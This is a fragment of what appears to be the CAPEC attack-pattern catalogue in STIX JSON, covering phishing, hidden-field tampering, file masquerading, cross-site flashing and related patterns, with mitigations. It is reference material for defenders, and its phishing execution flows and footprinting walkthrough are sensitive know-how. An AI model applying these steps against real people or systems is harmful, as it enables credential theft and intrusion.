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"url": "http://cwe.mitre.org/data/definitions/138.html",
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},
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},
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},
{
"source_name": "cwe",
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},
{
"source_name": "reference_from_CAPEC",
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"\n <xhtml:p>By appending special characters, such as a semicolon or other commands that are executed by the target process, the attacker is able to execute a wide variety of malicious commands in the target process space, utilizing the target's inherited permissions, against any resource the host has access to. The possibilities are vast including injection attacks against RDBMS (SQL Injection), directory servers (LDAP Injection), XML documents (XPath and XQuery Injection), and command line shells. In many injection attacks, the results are converted back to strings and displayed to the client process such as a web browser without tripping any security alarms, so the network firewall does not log any out of the ordinary behavior.</xhtml:p>\n <xhtml:p>LDAP servers house critical identity assets such as user, profile, password, and group information that is used to authenticate and authorize users. An attacker that can query the directory at will and execute custom commands against the directory server is literally working with the keys to the kingdom in many enterprises. When user, organizational units, and other directory objects are queried by building the query string directly from user input with no validation, or other conversion, then the attacker has the ability to use any LDAP commands to query, filter, list, and crawl against the LDAP server directly in the same manner as SQL injection gives the ability to the attacker to run SQL commands on the database.</xhtml:p>\n "
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{
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"A system user selects the word \"treacherous\" as their passwords believing that it would be very difficult to guess. The password-based dictionary attack is used to crack this password and gain access to the account.",
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"id": "attack-pattern--f90601a6-9e18-4e96-804d-01a4f4ea30f2",
"name": "Exploit Script-Based APIs",
"description": "Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-07-30T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/160.html",
"external_id": "CAPEC-160"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/346.html",
"external_id": "CWE-346"
}
],
"x_capec_typical_severity": "Medium",
"x_capec_prerequisites": [
"The target application must include the use of APIs that execute scripts.",
"The target application must allow the attacker to provide some or all of the arguments to one of these script interpretation methods and must fail to adequately filter these arguments for dangerous or unwanted script commands."
],
"x_capec_resources_required": [
"None: No specialized resources are required to execute this type of attack."
],
"x_capec_abstraction": "Standard",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
"id": "attack-pattern--2a6131f7-30af-4529-be4e-bc3b7bf22009",
"name": "Infrastructure Manipulation",
"description": "An attacker exploits characteristics of the infrastructure of a network entity in order to perpetrate attacks or information gathering on network objects or effect a change in the ordinary information flow between network objects. Most often, this involves manipulation of the routing of network messages so, instead of arriving at their proper destination, they are directed towards an entity of the attackers' choosing, usually a server controlled by the attacker. The victim is often unaware that their messages are not being processed correctly. For example, a targeted client may believe they are connecting to their own bank but, in fact, be connecting to a Pharming site controlled by the attacker which then collects the user's login information in order to hijack the actual bank account.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2017-01-09T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/161.html",
"external_id": "CAPEC-161"
}
],
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"The targeted client must access the site via infrastructure that the attacker has co-opted and must fail to adequately verify that the communication channel is operating correctly (e.g. by verifying that they are, in fact, connected to the site they intended.)"
],
"x_capec_resources_required": [
"The attacker must be able to corrupt the infrastructure used by the client. For some variants of this attack, the attacker must be able to stand up their own services that mimic the services the targeted client intends to use."
],
"x_capec_abstraction": "Meta",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
"id": "attack-pattern--a506984b-0870-42d9-8bcd-0787f13b8c2e",
"name": "Manipulating Hidden Fields",
"description": "An adversary exploits a weakness in the server's trust of client-side processing by modifying data on the client-side, such as price information, and then submitting this data to the server, which processes the modified data. For example, eShoplifting is a data manipulation attack against an on-line merchant during a purchasing transaction. The manipulation of price, discount or quantity fields in the transaction message allows the adversary to acquire items at a lower cost than the merchant intended. The adversary performs a normal purchasing transaction but edits hidden fields within the HTML form response that store price or other information to give themselves a better deal. The merchant then uses the modified pricing information in calculating the cost of the selected items.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2017-08-04T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/162.html",
"external_id": "CAPEC-162"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/602.html",
"external_id": "CWE-602"
}
],
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"The targeted site must contain hidden fields to be modified.",
"The targeted site must not validate the hidden fields with backend processing."
],
"x_capec_resources_required": [
"The adversary must have the ability to modify hidden fields by editing the HTTP response to the server."
],
"x_capec_abstraction": "Detailed",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
"id": "attack-pattern--ff3cf9fc-c308-4571-8a01-ecae629a49c1",
"name": "Spear Phishing",
"description": "An adversary targets a specific user or group with a Phishing (CAPEC-98) attack tailored to a category of users in order to have maximum relevance and deceptive capability. Spear Phishing is an enhanced version of the Phishing attack targeted to a specific user or group. The quality of the targeted email is usually enhanced by appearing to come from a known or trusted entity. If the email account of some trusted entity has been compromised the message may be digitally signed. The message will contain information specific to the targeted users that will enhance the probability that they will follow the URL to the compromised site. For example, the message may indicate knowledge of the targets employment, residence, interests, or other information that suggests familiarity. As soon as the user follows the instructions in the message, the attack proceeds as a standard Phishing attack.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/163.html",
"external_id": "CAPEC-163"
},
{
"source_name": "ATTACK",
"description": "Internal Spearfishing",
"url": "https://attack.mitre.org/wiki/Technique/T1534",
"external_id": "T1534"
},
{
"source_name": "ATTACK",
"description": "Phishing:Spearfishing Attachment",
"url": "https://attack.mitre.org/wiki/Technique/T1566/001",
"external_id": "T1566.001"
},
{
"source_name": "ATTACK",
"description": "Phishing:Spearfishing Link",
"url": "https://attack.mitre.org/wiki/Technique/T1566/002",
"external_id": "T1566.002"
},
{
"source_name": "ATTACK",
"description": "Phishing:Spearfishing via Service",
"url": "https://attack.mitre.org/wiki/Technique/T1566/003",
"external_id": "T1566.003"
}
],
"x_capec_likelihood_of_attack": "High",
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"None. Any user can be targeted by a Spear Phishing attack."
],
"x_capec_skills_required": {
"Medium": "Spear phishing attacks require specific knowledge of the victims being targeted, such as which bank is being used by the victims, or websites they commonly log into (Google, Facebook, etc)."
},
"x_capec_resources_required": [
"An adversay must have the ability communicate their phishing scheme to the victims (via email, instance message, etc.), as well as a website or other platform for victims to enter personal information into."
],
"x_capec_consequences": {
"Confidentiality": [
"Read Data (Information Leakage)"
],
"Accountability": [
"Gain Privileges (Privilege Escalation)"
],
"Authentication": [
"Gain Privileges (Privilege Escalation)"
],
"Authorization": [
"Gain Privileges (Privilege Escalation)"
],
"Non-Repudiation": [
"Gain Privileges (Privilege Escalation)"
],
"Integrity": [
"Modify Data (Data Modification)"
]
},
"x_capec_abstraction": "Detailed",
"x_capec_example_instances": [
"The target gets an official looking e-mail from their bank stating that their account has been temporarily locked due to suspected unauthorized activity that happened in a different area from where they live (details might be provided by the spear phishers) and that they need to click on the link included in the e-mail to log in to their bank account in order to unlock it. The link in the e-mail looks very similar to that of their bank and once the link is clicked, the log in page is the exact replica. The target supplies their login credentials after which they are notified that their account has now been unlocked and that everything is fine. An adversary has just collected the target's online banking information which can now be used by them to log into the target's bank account and transfer money to a bank account of the adversary's choice.",
"An adversary can leverage a weakness in the SMB protocol by sending the target, an official looking e-mail from their employer's IT Department stating that their system has vulnerable software, which they need to manually patch by accessing an updated version of the software by clicking on a provided link to a network share. Once the link is clicked, the target is directed to an external server controlled by the adversary or to a malicious file on a public access share. The SMB protocol will then attempt to authenticate the target to the adversary controlled server, which allows the adversary to capture the hashed credentials over SMB. These credentials can then be used to execute offline brute force attacks or a \"Pass The Hash\" attack."
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Obtain useful contextual detailed information about the targeted user or organization: </b>An adversary collects useful contextual detailed information about the targeted user or organization in order to craft a more deceptive and enticing message to lure the target into responding.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Conduct web searching research of target. See also: CAPEC-118.</td></tr><tr><td>Identify trusted associates, colleagues and friends of target. See also: CAPEC-118.</td></tr><tr><td>Utilize social engineering attack patterns such as Pretexting. See also: CAPEC-407.</td></tr><tr><td>Collect social information via dumpster diving. See also: CAPEC-406.</td></tr><tr><td>Collect social information via traditional sources. See also: CAPEC-118.</td></tr><tr><td>Collect social information via Non-traditional sources. See also: CAPEC-118.</td></tr></tbody></table></ol></div><div><h3>Experiment</h3><ol><li> <p> <b>Optional: Obtain domain name and certificate to spoof legitimate site: </b>This optional step can be used to help the adversary impersonate the legitimate site more convincingly. The adversary can use homograph attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L).</td></tr><tr><td>Optionally obtain a legitimate SSL certificate for the new domain name.</td></tr></tbody></table><li> <p> <b>Optional: Explore legitimate website and create duplicate: </b>An adversary creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use spidering software to get copy of web pages on legitimate site.</td></tr><tr><td>Manually save copies of required web pages from legitimate site.</td></tr><tr><td>Create new web pages that have the legitimate site's look at feel, but contain completely new content.</td></tr></tbody></table><li> <p> <b>Optional: Build variants of the website with very specific user information e.g., living area, etc.: </b>Once the adversary has their website which duplicates a legitimate website, they need to build very custom user related information in it. For example, they could create multiple variants of the website which would target different living area users by providing information such as local news, local weather, etc. so that the user believes this is a new feature from the website.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Integrate localized information in the web pages created to duplicate the original website. Those localized information could be dynamically generated based on unique key or IP address of the future victim.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Convince user to enter sensitive information on adversary's site.: </b>An adversary sends a message (typically an e-mail) to the victim that has some sort of a call to action to get the user to click on the link included in the e-mail (which takes the victim to adversary's website) and log in. The key is to get the victim to believe that the message is coming from a legitimate entity trusted by the victim or with which the victim or does business and that the website pointed to by the URL in the e-mail is the legitimate website. A call to action will usually need to sound legitimate and urgent enough to prompt action from the user.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Send the user a message from a spoofed legitimate-looking e-mail address that asks the user to click on the included link.</td></tr><tr><td>Place phishing link in post to online forum.</td></tr></tbody></table><li> <p> <b>Use stolen credentials to log into legitimate site: </b>Once the adversary captures some sensitive information through phishing (login credentials, credit card information, etc.) the adversary can leverage this information. For instance, the adversary can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Log in to the legitimate site using another user's supplied credentials.</td></tr></tbody></table></ol></div>",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
"id": "course-of-action--b8cee0cf-4567-40f0-a8d6-0b1d71c03c27",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-163-0",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"description": "Do not follow any links that you receive within your e-mails and certainly do not input any login credentials on the page that they take you too. Instead, call your Bank, PayPal, eBay, etc., and inquire about the problem. A safe practice would also be to type the URL of your bank in the browser directly and only then log in. Also, never reply to any e-mails that ask you to provide sensitive information of any kind.",
"x_capec_version": "3.4",
"type": "course-of-action"
},
{
"id": "relationship--500e00dd-08a1-41da-9c35-32f65daab33b",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"x_capec_version": "3.4",
"type": "relationship",
"source_ref": "course-of-action--b8cee0cf-4567-40f0-a8d6-0b1d71c03c27",
"relationship_type": "mitigates",
"target_ref": "attack-pattern--ff3cf9fc-c308-4571-8a01-ecae629a49c1"
},
{
"id": "attack-pattern--614cd894-0aa6-4031-88e1-89bd7b6118bb",
"name": "Mobile Phishing",
"description": "An adversary targets mobile phone users with a phishing attack for the purpose of soliciting account passwords or sensitive information from the user. Mobile Phishing is a variation of the Phishing social engineering technique where the attack is initiated via a text or SMS message, rather than email. The user is enticed to provide information or visit a compromised web site via this message. Apart from the manner in which the attack is initiated, the attack proceeds as a standard Phishing attack.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/164.html",
"external_id": "CAPEC-164"
},
{
"source_name": "reference_from_CAPEC",
"description": "What is smishing?, 2018--01---18, NortonLifeLock Inc.",
"url": "https://us.norton.com/internetsecurity-emerging-threats-what-is-smishing.html",
"external_id": "REF-590"
},
{
"source_name": "reference_from_CAPEC",
"description": "What is Smishing and How to Defend Against it?, AO Kaspersky Lab",
"url": "https://usa.kaspersky.com/resource-center/threats/what-is-smishing-and-how-to-defend-against-it",
"external_id": "REF-591"
},
{
"source_name": "reference_from_CAPEC",
"description": "Jovi Umawing, Something else is phishy: How to detect phishing attempts on mobile phones , 2018--12---10, Malwarebytes",
"url": "https://blog.malwarebytes.com/101/2018/12/something-else-phishy-detect-phishing-attempts-mobile/",
"external_id": "REF-592"
},
{
"source_name": "reference_from_CAPEC",
"description": "Aaron Cockerill, 5 most common mobile phishing tactics, 2020--04---17, AT&T Cybersecurity",
"url": "https://cybersecurity.att.com/blogs/security-essentials/mobile-phishing",
"external_id": "REF-593"
}
],
"x_capec_alternate_terms": [
"Smishing",
"MobPhishing"
],
"x_capec_likelihood_of_attack": "High",
"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"An adversary needs mobile phone numbers to initiate contact with the victim.",
"An adversary needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their \"hooks\" to many potential victims.",
"An adversary needs to have a sufficiently compelling call to action to prompt the user to take action.",
"The replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity."
],
"x_capec_skills_required": {
"Medium": "Basic knowledge about websites: obtaining them, designing and implementing them, etc."
},
"x_capec_resources_required": [
"Either mobile phone or access to a web resource that allows text messages to be sent to mobile phones. Resources needed for regular Phishing attack."
],
"x_capec_consequences": {
"Confidentiality": [
"Gain Privileges",
"Read Data"
],
"Access_Control": [
"Gain Privileges"
],
"Authorization": [
"Gain Privileges"
],
"Integrity": [
"Modify Data"
]
},
"x_capec_abstraction": "Detailed",
"x_capec_example_instances": [
"The target receives a text message stating that their Apple ID has been disabled due to suspicious activity and that they need to click on the link included in the message to log into their Apple account in order to enable it. The link in the text message looks legitimate and once the link is clicked, the login page is an exact replica of Apple's standard login page. The target supplies their login credentials and are then notified that their account has now been unlocked. However, the adversary has just collected the target's Apple account information, which can now be used by the adversary for a variety of purposes."
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Obtain domain name and certificate to spoof legitimate site: </b>This optional step can be used to help the adversary impersonate the legitimate site more convincingly. The adversary can use homograph or similar attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)</td></tr><tr><td>Optionally obtain a legitimate SSL certificate for the new domain name.</td></tr></tbody></table><li> <p> <b>Explore legitimate website and create duplicate: </b>An adversary creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use spidering software to get copy of web pages on legitimate site.</td></tr><tr><td>Manually save copies of required web pages from legitimate site.</td></tr><tr><td>Create new web pages that have the legitimate site's look and feel, but contain completely new content.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Convince user to enter sensitive information on adversary's site.: </b>An adversary sends a text message to the victim that has a call-to-action, in order to persuade the user into clicking the included link (which then takes the victim to the adversary's website) and logging in. The key is to get the victim to believe that the text message originates from a legitimate entity with which the victim does business and that the website pointed to by the URL in the text message is the legitimate website. A call-to-action will usually need to sound legitimate and urgent enough to prompt action from the user.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Send the user a message from a spoofed legitimate-looking mobile number that asks the user to click on the included link.</td></tr></tbody></table><li> <p> <b>Use stolen credentials to log into legitimate site: </b>Once the adversary captures some sensitive information through phishing (login credentials, credit card information, etc.) the adversary can leverage this information. For instance, the adversary can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Log in to the legitimate site using another user's supplied credentials</td></tr></tbody></table></ol></div>",
"x_capec_status": "Stable",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-164-0",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"description": "Do not follow any links that you receive within text messages and do not input any login credentials on the page that they take you too. Instead, call your Bank, PayPal, eBay, etc., and inquire about the problem. Safe practices also include leveraging the entity's mobile application or directly typing the entity's URL in the browser and only then logging in. Never reply to any text messages that ask you to provide sensitive information of any kind.",
"x_capec_version": "3.4",
"type": "course-of-action",
"id": "course-of-action--7298a056-b9a3-4bed-9089-45585dc3e701"
},
{
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"x_capec_version": "3.4",
"type": "relationship",
"id": "relationship--f957b815-b901-4e5b-9a8c-4de0c67d5808",
"source_ref": "course-of-action--7298a056-b9a3-4bed-9089-45585dc3e701",
"relationship_type": "mitigates",
"target_ref": "attack-pattern--614cd894-0aa6-4031-88e1-89bd7b6118bb"
},
{
"id": "attack-pattern--f8533ce1-5f23-4660-8f70-1a05af2c70d3",
"name": "File Manipulation",
"description": "An attacker modifies file contents or attributes (such as extensions or names) of files in a manner to cause incorrect processing by an application. Attackers use this class of attacks to cause applications to enter unstable states, overwrite or expose sensitive information, and even execute arbitrary code with the application's privileges. This class of attacks differs from attacks on configuration information (even if file-based) in that file manipulation causes the file processing to result in non-standard behaviors, such as buffer overflows or use of the incorrect interpreter. Configuration attacks rely on the application interpreting files correctly in order to insert harmful configuration information. Likewise, resource location attacks rely on controlling an application's ability to locate files, whereas File Manipulation attacks do not require the application to look in a non-default location, although the two classes of attacks are often combined.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"object_marking_refs": [
"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d"
],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2017-08-04T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/165.html",
"external_id": "CAPEC-165"
}
],
"x_capec_typical_severity": "Medium",
"x_capec_prerequisites": [
"The target must use the affected file without verifying its integrity."
],
"x_capec_resources_required": [
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"name": "Force the System to Reset Values",
"description": "An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions. Since these functions are usually intended as emergency features to return an application to a stable configuration if the current configuration degrades functionality, they may not be as strongly secured as other configuration options. The resetting of values is dangerous as it may enable undesired functionality, disable services, or modify access controls. At the very least this is a nuisance attack since the administrator will need to re-apply their configuration. At worst, this attack can open avenues for powerful attacks against the application, and, if it isn't obvious that the configuration has been reset, these vulnerabilities may be present a long time before they are notices.",
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"external_id": "CAPEC-166"
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{
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"url": "http://cwe.mitre.org/data/definitions/306.html",
"external_id": "CWE-306"
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"url": "http://cwe.mitre.org/data/definitions/1232.html",
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],
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"description": "An attacker discovers the structure, function, and composition of a type of computer software through white box analysis techniques. White box techniques involve methods which can be applied to a piece of software when an executable or some other compiled object can be directly subjected to analysis, revealing at least a portion of its machine instructions that can be observed upon execution.",
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"url": "http://cwe.mitre.org/data/definitions/200.html",
"external_id": "CWE-200"
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{
"source_name": "ATTACK",
"description": "Browser Bookmark Discovery",
"url": "https://attack.mitre.org/wiki/Technique/T1217",
"external_id": "T1217"
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"description": "Manic Velocity, Footprinting And The Basics Of Hacking, Web Textfiles",
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},
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"description": "Eddie Sutton, Footprint: What Is And How Do You Erase Them",
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"description": "Stuart McClure, Joel Scambray, George Kurtz, Hacking Exposed: Network Security Secrets & Solutions (6th Edition), 2009, McGraw Hill",
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"description": "Gordon \"Fyodor\" Lyon, Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning (3rd \"Zero Day\" Edition,), 2008, Insecure.com LLC, ISBN: 978-0-9799587-1-7",
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],
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},
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]
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"In this example let us look at the website http://www.example.com to get much information we can about Alice. From the website, we find that Alice also runs foobar.org. We type in www example.com into the prompt of the Name Lookup window in a tool, and our result is this IP address: 192.173.28.130 We type the domain into the Name Lookup prompt and we are given the same IP. We can safely say that example and foobar.org are hosted on the same box. But if we were to do a reverse name lookup on the IP, which domain will come up? www.example.com or foobar.org? Neither, the result is nijasvspirates.org. So nijasvspirates.org is the name of the box hosting 31337squirrel.org and foobar.org. So now that we have the IP, let's check to see if nijasvspirates is awake. We type the IP into the prompt in the Ping window. We'll set the interval between packets to 1 millisecond. We'll set the number of seconds to wait until a ping times out to 5. We'll set the ping size to 500 bytes and we'll send ten pings. Ten packets sent and ten packets received. nijasvspirates.org returned a message to my computer within an average of 0.35 seconds for every packet sent. nijasvspirates is alive. We open the Whois window and type nijasvspirates.org into the Query prompt, and whois.networksolutions.com into the Server prompt. This means we'll be asking Network Solutions to tell us everything they know about nijasvspirates.org. The result is this laundry list of info: Registrant: FooBar (nijasvspirates -DOM) p.o.box 11111 SLC, UT 84151 US Domain Name: nijasvspirates.ORG Administrative Contact, Billing Contact: Smith, John jsmith@anonymous.net FooBar p.o.box 11111 SLC, UT 84151 555-555-6103 Technical Contact: Johnson, Ken kj@fierymonkey.org fierymonkey p.o.box 11111 SLC, UT 84151 555-555-3849 Record last updated on 17-Aug-2001. Record expires on 11-Aug-2002. Record created on 11-Aug-2000. Database last updated on 12-Dec-2001 04:06:00 EST. Domain servers in listed order: NS1. fierymonkey.ORG 192.173.28.130 NS2. fierymonkey.ORG 64.192.168.80 A corner stone of footprinting is Port Scanning. Let's port scan nijasvspirates.org and see what kind of services are running on that box. We type in the nijasvspirates IP into the Host prompt of the Port Scan window. We'll start searching from port number 1, and we'll stop at the default Sub7 port, 27374. Our results are: 21 TCP ftp 22 TCP ssh SSH-1.99-OpenSSH_2.30 25 TCP smtp 53 TCP domain 80 TCP www 110 TCP pop3 111 TCP sunrpc 113 TCP ident Just by this we know that Alice is running a website and email, using POP3, SUNRPC (SUN Remote Procedure Call), and ident."
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],
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],
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"external_id": "CWE-88"
},
{
"source_name": "reference_from_CAPEC",
"description": "Yuval B., Ayal Y., Adi S., Flash Parameter Injection: A Security Advisory, 2008--09---24, IBM Rational Security Team",
"url": "http://blog.watchfire.com/FPI.pdf",
"external_id": "REF-40"
},
{
"source_name": "reference_from_CAPEC",
"description": "Elaborate Ways to Exploit XSS: Flash Parameter Injection (FPI), 2014--04---08, Acunetix",
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}
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},
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],
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],
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"description": "An adversary exploits a weakness on the target to force arbitrary code to be retrieved locally or from a remote location and executed. This differs from code injection in that code injection involves the direct inclusion of code while code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.",
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{
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}
],
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],
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],
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],
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},
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"external_id": "CWE-15"
},
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},
{
"source_name": "OWASP Attacks",
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}
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],
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"id": "attack-pattern--64d83978-33f0-48c7-a375-b58fcb0556cd",
"name": "Create files with the same name as files protected with a higher classification",
"description": "An attacker exploits file location algorithms in an operating system or application by creating a file with the same name as a protected or privileged file. The attacker could manipulate the system if the attacker-created file is trusted by the operating system or an application component that attempts to load the original file. Applications often load or include external files, such as libraries or configuration files. These files should be protected against malicious manipulation. However, if the application only uses the name of the file when locating it, an attacker may be able to create a file with the same name and place it in a directory that the application will search before the directory with the legitimate file is searched. Because the attackers' file is discovered first, it would be used by the target application. This attack can be extremely destructive if the referenced file is executable and/or is granted special privileges based solely on having a particular name.",
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"modified": "2018-07-31T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/177.html",
"external_id": "CAPEC-177"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/706.html",
"external_id": "CWE-706"
},
{
"source_name": "ATTACK",
"description": "Masquerading",
"url": "https://attack.mitre.org/wiki/Technique/T1036",
"external_id": "T1036"
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"The target application must include external files. Most non-trivial applications meet this criterion.",
"The target application does not verify that a located file is the one it was looking for through means other than the name. Many applications fail to perform checks of this type.",
"The directories the target application searches to find the included file include directories writable by the attacker which are searched before the protected directory containing the actual files. It is much less common for applications to meet this criterion, but if an attacker can manipulate the application's search path (possibly by controlling environmental variables) then they can force this criterion to be met."
],
"x_capec_resources_required": [
"The attacker must have sufficient access to place an arbitrarily named file somewhere early in the application's search path."
],
"x_capec_abstraction": "Detailed",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
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"id": "attack-pattern--4ce65b20-6d2c-4217-b08a-e87b36c22353",
"name": "Cross-Site Flashing",
"description": "An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.",
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"modified": "2020-12-17T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/178.html",
"external_id": "CAPEC-178"
},
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"source_name": "reference_from_CAPEC",
"description": "Stefano Di Paola, Testing Flash Applications, 2007",
"url": "http://www.wisec.it/en/Docs/flash_App_testing_Owasp07.pdf",
"external_id": "REF-41"
},
{
"source_name": "reference_from_CAPEC",
"description": "OWASP Web Security Testing Guide, The Open Web Application Security Project (OWASP)",
"url": "https://www.owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/08-Testing_for_Cross_Site_Flashing.html",
"external_id": "REF-42"
},
{
"source_name": "reference_from_CAPEC",
"description": "Cross-Site Flashing, Trustwave",
"url": "http://doc.cenzic.com/sadoc9x14ba847/CPL0001509.htm",
"external_id": "REF-561"
}
],
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"x_capec_typical_severity": "Medium",
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],
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"Medium": "knowledge of Flash internals, parameters and remote referencing."
},
"x_capec_consequences": {
"Integrity": [
"Modify Data"
],
"Confidentiality": [
"Read Data"
],
"Authorization": [
"Execute Unauthorized Commands (Run Arbitrary Code)",
"Gain Privileges",
"Bypass Protection Mechanism"
],
"Accountability": [
"Gain Privileges"
],
"Authentication": [
"Gain Privileges"
],
"Non-Repudiation": [
"Gain Privileges"
],
"Access_Control": [
"Bypass Protection Mechanism"
]
},
"x_capec_abstraction": "Detailed",
